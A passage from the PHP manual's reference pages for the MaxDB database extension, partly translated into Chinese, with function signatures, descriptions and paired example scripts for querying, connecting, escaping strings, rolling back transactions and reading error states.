   $field_cnt = maxdb_num_fields($result);

   printf("Result set has %d fields.\n", $field_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Result set has 3 fields.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_next_result | 上一级 | maxdb_num_rows


maxdb_num_rows

(PECL)

maxdb_num_rows -- Gets the number of rows in a result

Description

Procedural style:

int maxdb_num_rows ( resource result )

Object oriented style (property):

class maxdb {

int num_rows

}

Returns the number of rows in the result set.

The use of maxdb_num_rows() depends on whether you use buffered or unbuffered result sets. In case you use unbuffered resultsets maxdb_num_rows() will not correct the correct number of rows until all the rows in the result have been retrieved.

返回值

Returns number of rows in the result set.

注: If the number of rows is greater than maximal int value, the number will be returned as a string.

参见

maxdb_affected_rows()
maxdb_store_result()
maxdb_use_result()
maxdb_query()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = $result->num_rows;

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT cno, name FROM hotel.customer ORDER BY name")) {

   /* determine number of rows result set */
   $row_cnt = maxdb_num_rows($result);

   printf("Result set has %d rows.\n", $row_cnt);

   /* close result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Result set has 15 rows.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_num_fields | 上一级 | maxdb_options


maxdb_options

(PECL)

maxdb_options

(no version information, might be only in CVS)

maxdb->options -- Set options

Description

Procedural style:

bool maxdb_options ( resource link, int option, mixed value )

Object oriented style (method)

class maxdb {

bool options ( int option, mixed value )

}

maxdb_options() can be used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

maxdb_options() should be called after maxdb_init() and before maxdb_real_connect().

The parameter option is the option that you want to set, the value is the value for the option. For detailed description of the options see http://dev.mysql.com/doc/maxdb/ The parameter option can be one of the following values:

表格 1. Valid options

Name | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_init(), maxdb_real_connect()

Example

See maxdb_real_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_num_rows | 上一级 | maxdb_param_count


maxdb_param_count

(PECL)

maxdb_param_count -- 别名 maxdb_stmt_param_count()

说明

本函数是该函数的别名： maxdb_stmt_param_count().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_options | 上一级 | maxdb_ping


maxdb_ping

(PECL)

maxdb_ping

(no version information, might be only in CVS)

maxdb->ping -- Pings a server connection, or tries to reconnect if the connection has gone down

Description

Procedural style:

bool maxdb_ping ( resource link )

Object oriented style (method):

class maxdb {

bool ping ( void )

}

Checks whether the connection to the server is working. If it has gone down, and global option maxdb.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if ($maxdb->ping()) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* check if server is alive */
if (maxdb_ping($link)) {
   printf ("Our connection is ok!\n");
} else {
   printf ("Error: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Our connection is ok!

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_param_count | 上一级 | maxdb_prepare


maxdb_prepare

(PECL)

maxdb_prepare

(no version information, might be only in CVS)

maxdb->prepare -- Prepare a SQL statement for execution

Description

Procedure style:

resource maxdb_prepare ( resource link, string query )

Object oriented style (method)

class stmt {

resource prepare ( string query )

}

maxdb_prepare() prepares the SQL query pointed to by the null-terminated string query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

注: You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

注: The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

返回值

maxdb_prepare() returns a statement resource or FALSE if an error occured.

参见

maxdb_stmt_execute(),
maxdb_stmt_fetch(),
maxdb_stmt_bind_param(),
maxdb_stmt_bind_result(),
maxdb_stmt_close()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = $maxdb->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Rosemont";

/* create a prepared statement */
if ($stmt = maxdb_prepare($link, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

  /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Rosemont is in district IL

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_ping | 上一级 | maxdb_query


maxdb_query

(PECL)

maxdb_query

(no version information, might be only in CVS)

maxdb->query -- Performs a query on the database

Description

Procedural style:

mixed maxdb_query ( resource link, string query [, int resultmode] )

Object oriented style (method):

class maxdb {

mixed query ( string query )

}

The maxdb_query() function is used to simplify the act of performing a query against the database represented by the link parameter.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。 For SELECT, SHOW, DESCRIBE or EXPLAIN maxdb_query() will return a result resource.

See also

maxdb_real_query(),
maxdb_multi_query(),
maxdb_free_result()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if ($maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = $maxdb->query("SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", $result->num_rows);

   /* free result set */
   $result->close();
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = $maxdb->query("SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   $result->close();
}

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Create table doesn't return a resultset */
if (maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city") === TRUE) {
   printf("Table mycity successfully created.\n");
}

/* Select queries return a resultset */
if ($result = maxdb_query($link, "SELECT name FROM hotel.city")) {
   printf("Select returned %d rows.\n", maxdb_num_rows($result));

   /* free result set */
   maxdb_free_result($result);
}

/* If we have to retrieve large amount of data we use MAXDB_USE_RESULT */
if ($result = maxdb_query($link, "SELECT * FROM hotel.city", MAXDB_USE_RESULT)) {
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above examples would produce the following output:

Table mycity successfully created.
Select returned 25 rows.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_prepare | 上一级 | maxdb_real_connect


maxdb_real_connect

(PECL)

maxdb_real_connect

(no version information, might be only in CVS)

maxdb->real_connect -- Opens a connection to a MaxDB server

Description

Procedural style

bool maxdb_real_connect ( resource link [, string hostname [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

Object oriented style (method)

class maxdb {

bool real_connect ( [string hostname [, string username [, string passwd [, string dbname [, int port [, string socket]]]]]] )

}

maxdb_real_connect() attempts to establish a connection to a MaxDB database engine running on hostname.

This function differs from maxdb_connect():

  • maxdb_real_connect() needs a valid resource which has to be created by function maxdb_init()

  • With function maxdb_options() you can set various options for connection.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

maxdb_connect(),
maxdb_init(),
maxdb_options(),
maxdb_ssl_set(),
maxdb_close().

Example

例子 1. Object oriented style

<?php

/* create a connection object which is not connected */
$maxdb = maxdb_init();

/* set connection options */
$maxdb->options(MAXDB_UNICODE, "FALSE");
$maxdb->options(MAXDB_TIMEOUT, 5);

/* connect to server */
$maxdb->real_connect('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", $maxdb->host_info);

$maxdb->close();
?>

例子 2. Procedural style

<?php

/* create a connection object which is not connected */
$link = maxdb_init();

/* set connection options */
maxdb_options($link, MAXDB_UNICODE, "FALSE");
maxdb_options($link, MAXDB_TIMEOUT, 5);

/* connect to server */
maxdb_real_connect($link, 'localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("Connection: %s\n.", maxdb_get_host_info($link));

maxdb_close($link);
?>

The above examples would produce the following output:

Connection: localhost <...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_query | 上一级 | maxdb_real_escape_string


maxdb_real_escape_string

(PECL)

maxdb_real_escape_string

(no version information, might be only in CVS)

maxdb->real_escape_string -- Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection

Description

Procedural style:

string maxdb_real_escape_string ( resource link, string escapestr )

Object oriented style (method):

class maxdb {

string real_escape_sring ( string escapestr )

}

This function is used to create a legal SQL string that you can use in a SQL statement. The string escapestr is encoded to an escaped SQL string, taking into account the current character set of the connection.

Characters encoded are ', ".

Return values

Returns an escaped string.

See also

maxdb_character_set_name().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!$maxdb->query("INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", $maxdb->sqlstate);
}

$city = $maxdb->real_escape_string($city);

/* this query with escaped $city will work */
if ($maxdb->query("INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", $maxdb->affected_rows);
}

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$city = "'s Hertogenbosch";

/* this query will fail, cause we didn't escape $city */
if (!maxdb_query($link, "INSERT into temp.mycity VALUES ('11111','$city','NY')")) {
   printf("Error: %s\n", maxdb_sqlstate($link));
}

$city = maxdb_real_escape_string($link, $city);

/* this query with escaped $city will work */
if (maxdb_query($link, "INSERT into temp.mycity VALUES ('22222','$city','NY')")) {
   printf("%d Row inserted.\n", maxdb_affected_rows($link));
}

maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_query(): -5016 POS(43) Missing delimiter: ) <...>
Error: 42000
1 Row inserted.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_real_connect | 上一级 | maxdb_real_query


maxdb_real_query

(PECL)

maxdb_real_query

(no version information, might be only in CVS)

maxdb->real_query -- Execute an SQL query

Description

Procedural style

bool maxdb_real_query ( resource link, string query )

Object oriented style (method):

class maxdb {

bool real_query ( string query )

}

The maxdb_real_query() is functionally identical with the maxdb_query().

注: In order to determine if a given query should return a result set or not, see maxdb_field_count().

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_query()
maxdb_store_result()
maxdb_use_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_real_escape_string | 上一级 | maxdb_report


maxdb_report

(PECL)

maxdb_report -- Enables or disables internal report functions

Description

bool maxdb_report ( int flags )

Example

例子 1. Procedural style

<?php
/* activate reporting */
maxdb_report(MAXDB_REPORT_ERROR);

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* this query should report an error */
$result = maxdb_query($link,"SELECT Name FROM Nonexistingtable WHERE population > 50000");

maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_query(): -4004 POS(18) Unknown table name:NONEXISTINGTABLE <...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_real_query | 上一级 | maxdb_rollback


maxdb_rollback

(PECL)

maxdb_rollback

(no version information, might be only in CVS)

maxdb->rollback -- Rolls back current transaction

Description

bool maxdb_rollback ( resource link )

class maxdb {

bool rollback ( void )

}

Rollbacks the current transaction for the database specified by the link parameter.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_commit() maxdb_autocommit()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
$maxdb->autocommit(FALSE);

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
$maxdb->commit();

/* delete all rows */
$maxdb->query("DELETE FROM temp.mycity");

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Rollback */
$maxdb->rollback();

if ($result = $maxdb->query("SELECT COUNT(*) FROM temp.mycity")) {
   $row = $result->fetch_row();
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   $result->close();
}

/* Drop table myCity */
$maxdb->query("DROP TABLE temp.mycity");

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* disable autocommit */
maxdb_autocommit($link, FALSE);

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

/* commit insert */
maxdb_commit($link);

/* delete all rows */
maxdb_query($link, "DELETE FROM temp.mycity");

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity.\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Rollback */
maxdb_rollback($link);

if ($result = maxdb_query($link, "SELECT COUNT(*) FROM temp.mycity")) {
   $row = maxdb_fetch_row($result);
   printf("%d rows in table mycity (after rollback).\n", $row[0]);
   /* Free result */
   maxdb_free_result($result);
}

/* Drop table myCity */
maxdb_query($link, "DROP TABLE temp.mycity");

maxdb_close($link);
?>

The above examples would produce the following output:

0 rows in table mycity.
25 rows in table mycity (after rollback).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_report | 上一级 | maxdb_rpl_parse_enabled


maxdb_rpl_parse_enabled

(PECL)

maxdb_rpl_parse_enabled -- Check if RPL parse is enabled

Description

int maxdb_rpl_parse_enabled ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_rollback | 上一级 | maxdb_rpl_probe


maxdb_rpl_probe

(PECL)

maxdb_rpl_probe -- RPL probe

Description

bool maxdb_rpl_probe ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_rpl_parse_enabled | 上一级 | maxdb_rpl_query_type


maxdb_rpl_query_type

(PECL)

maxdb_rpl_query_type

(no version information, might be only in CVS)

maxdb->rpl_query_type -- Returns RPL query type

Description

int maxdb_rpl_query_type ( resource link )

Object oriented style (method)

class maxdb {

int rpl_query_type ( void )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_rpl_probe | 上一级 | maxdb_select_db


maxdb_select_db

(PECL)

maxdb_select_db

(no version information, might be only in CVS)

maxdb->select_db -- Selects the default database for database queries

Description

bool maxdb_select_db ( resource link, string dbname )

The maxdb_select_db() function selects the default database (specified by the dbname parameter) to be used when performing queries against the database connection represented by the link parameter.

注: This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in maxdb_connect().

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_connect() maxdb_real_connect()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

/* change db to non existing db */
$maxdb->select_db("XXXXXXXX");

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

/* change db to non existing db */
maxdb_select_db($link, "XXXXXXXX");

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above examples would produce the following output:

Default database is <...>.

Warning: maxdb_select_db(): -10709 Connection failed (RTE:database not running) <...>

Warning: maxdb_query(): -10821 Session not connected [] <...>

Warning: maxdb_close(): -10821 Session not connected [] <...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_rpl_query_type | 上一级 | maxdb_send_long_data


maxdb_send_long_data

(PECL)

maxdb_send_long_data -- 别名 maxdb_stmt_send_long_data()

说明

本函数是该函数的别名： maxdb_stmt_send_long_data().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_select_db | 上一级 | maxdb_send_query


maxdb_send_query

(PECL)

maxdb_send_query

(no version information, might be only in CVS)

maxdb->send_query -- Send the query and return

Description

bool maxdb_send_query ( resource link, string query )

Object oriented style (method)

class maxdb {

bool send_query ( string query )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_send_long_data | 上一级 | maxdb_server_end


maxdb_server_end

(PECL)

maxdb_server_end -- Shut down the embedded server

Description

void maxdb_server_end ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_send_query | 上一级 | maxdb_server_init


maxdb_server_init

(PECL)

maxdb_server_init -- Initialize embedded server

Description

bool maxdb_server_init ( [array server [, array groups]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_server_end | 上一级 | maxdb_set_opt


maxdb_set_opt

(PECL)

maxdb_set_opt -- 别名 maxdb_options()

说明

本函数是该函数的别名： maxdb_options().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_server_init | 上一级 | maxdb_sqlstate


maxdb_sqlstate

(PECL)

maxdb_sqlstate

(no version information, might be only in CVS)

maxdb->sqlstate -- Returns the SQLSTATE error from previous MaxDB operation

Description

Procedural style:

string maxdb_sqlstate ( resource link )

Object oriented style (property):

class maxdb {

string sqlstate

}

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

注: Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

See also

maxdb_errno(), maxdb_error()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!$maxdb->query("CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", $maxdb->sqlstate);
}

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!maxdb_query($link, "CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", maxdb_sqlstate($link));
}

maxdb_close($link);
?>

The above examples would produce the following output:

Warning: maxdb_query(): -6000 POS(20) Duplicate table name:CITY [I6000] <...>
Error - SQLSTATE I6000.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_set_opt | 上一级 | maxdb_ssl_set


maxdb_ssl_set

(PECL)

maxdb_ssl_set

(no version information, might be only in CVS)

maxdb->ssl_set -- Used for establishing secure connections using SSL

Description

Procedural style:

bool maxdb_ssl_set ( resource link, string key, string cert, string ca, string capath, string cipher )

Object oriented style (method):

class maxdb {

bool ssl_set ( string key, string cert, string ca, string capath, string cipher )

}

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_sqlstate | 上一级 | maxdb_stat


maxdb_stat

(PECL)

maxdb_stat

(no version information, might be only in CVS)

maxdb->stat -- Gets the current system status

Description

Procedural style:

string maxdb_stat ( resource link )

Object oriented style (method):

class maxdb {

string maxdb->stat ( void )

}

maxdb_stat() returns a string containing several information about the MaxDB server running.

Return values

A string describing the server status. FALSE if an error occurred.

See also

maxdb_get_server_info()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("System status: %s\n", $maxdb->stat());

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("System status: %s\n", maxdb_stat($link));

maxdb_close($link);
?>

The above examples would produce the following output:

System status: Kernel    7<...>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_ssl_set | 上一级 | maxdb_stmt_affected_rows


maxdb_stmt_affected_rows

(PECL)

maxdb_stmt_affected_rows

(no version information, might be only in CVS)

maxdb_stmt->affected_rows -- Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Procedural style :

int maxdb_stmt_affected_rows ( resource stmt )

Object oriented style (property):

class stmt {

int affected_rows

}

maxdb_stmt_affected_rows() returns the number of rows affected by INSERT, UPDATE, or DELETE query. If the last query was invalid or the number of rows can not determined, this function will return -1.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error or the number of rows can not determined.

See also

maxdb_stmt_num_rows(), maxdb_prepare()

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = $maxdb->prepare($query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   $stmt->bind_param("s", $code);

   /* execute statement */
   $stmt->execute();

   printf("rows inserted: %d\n", $stmt->affected_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = maxdb_prepare($link, $query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   maxdb_stmt_bind_param($stmt, "s", $code);

   /* execute statement */
   maxdb_stmt_execute($stmt);

   printf("rows inserted: %d\n", maxdb_stmt_affected_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

rows inserted: 4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_stat | 上一级 | maxdb_stmt_bind_param


maxdb_stmt_bind_param

(PECL)

maxdb_stmt_bind_param

(no version information, might be only in CVS)

stmt->bind_param -- Binds variables to a prepared statement as parameters

Description

Procedural style:

bool maxdb_stmt_bind_param ( resource stmt, string types, mixed &var1 [, mixed &...] )

Object oriented style (method):

class stmt {

bool bind_param ( array types, mixed &var1 [, mixed &...] )

}

maxdb_stmt_bind_param() is used to bind variables for the parameter markers in the SQL statement that was passed to maxdb_prepare(). The string types contains one or more characters which specify the types for the corresponding bind variables.

Variables for SELECT INTO SQL statements can also be bound using maxdb_stmt_bind_param(). Parameters for database procedures can be bound using maxdb_stmt_bind_param(). See the examples how to use maxdb_stmt_bind_param() in this cases.

